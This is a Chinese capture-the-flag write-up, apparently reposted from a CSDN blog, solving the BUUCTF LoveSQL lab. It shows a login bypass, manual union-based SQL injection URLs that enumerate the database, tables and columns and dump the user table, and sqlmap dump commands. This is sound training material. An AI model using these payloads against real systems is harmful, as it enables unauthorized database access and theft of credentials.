欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 房产 > 建筑 > 【BUUCTF】[极客大挑战 2019]LoveSQL

【BUUCTF】[极客大挑战 2019]LoveSQL

2025/2/5 12:50:30 来源:https://blog.csdn.net/2401_86760082/article/details/145187657  浏览:    关键词:【BUUCTF】[极客大挑战 2019]LoveSQL

 进入看到如下页面

abb81ed348454ae49d7b881d189d04c6.png

是一个登录界面,尝试使用万能密码

98677875bc144aed813c7a6af976c01a.png

显示登陆成功,得到一串很像flag的,但感觉有蹊跷,果然不对

40c540a0daee4453b551a2d1dd84bb3c.png

方法一:手工注入

看到url中有传参

5b8f305689ac49a998c4ab37298e0bc5.png

尝试在url中使用union联合注入

可以使用postman这个软件,因为网页中的url会编码符号,不方便语句的编写

判断为字符型注入

http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=admin' order by 3%23&password=1页面正常

a90932ff5f8d450797ddcb4d88ef8434.png

http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=admin' order by 4%23&password=1页面报错

078b5d86f4cb415ea348391711a70692.png

故字段数为3

使用union联合注入,判断回显点在哪里

http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,3%23&password=1

通过显示的数字确定显示的列的位置,根据查询结果,显示3,想要查询的信息放在第三个列

爆出数据库名  

http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,database()%23&password=1

爆出表名 

http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,table_name from information_schema.tables where table_schema=database()%23&password=1

爆出字段  

http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

下一步爆出内容  

http://0b252fcb-3bb7-4ce0-8a8a-c31fdf8dfaa1.node5.buuoj.cn:81/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

最终得到flag

方法二:sqlmap注入

发现上面有一行小字,当让要用sqlmap试试

不过需要先用burp suite抓包,将内容复制保存在本地的文件使用命令

​
python sqlmap.py -r 文件名 --dbspython sqlmap.py -r 文件名 --tablespython sqlmap.py -r 文件名 -T 表名 --columnspython sqlmap.py -r 文件名 -T 表名 -C 字段名 --dump

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com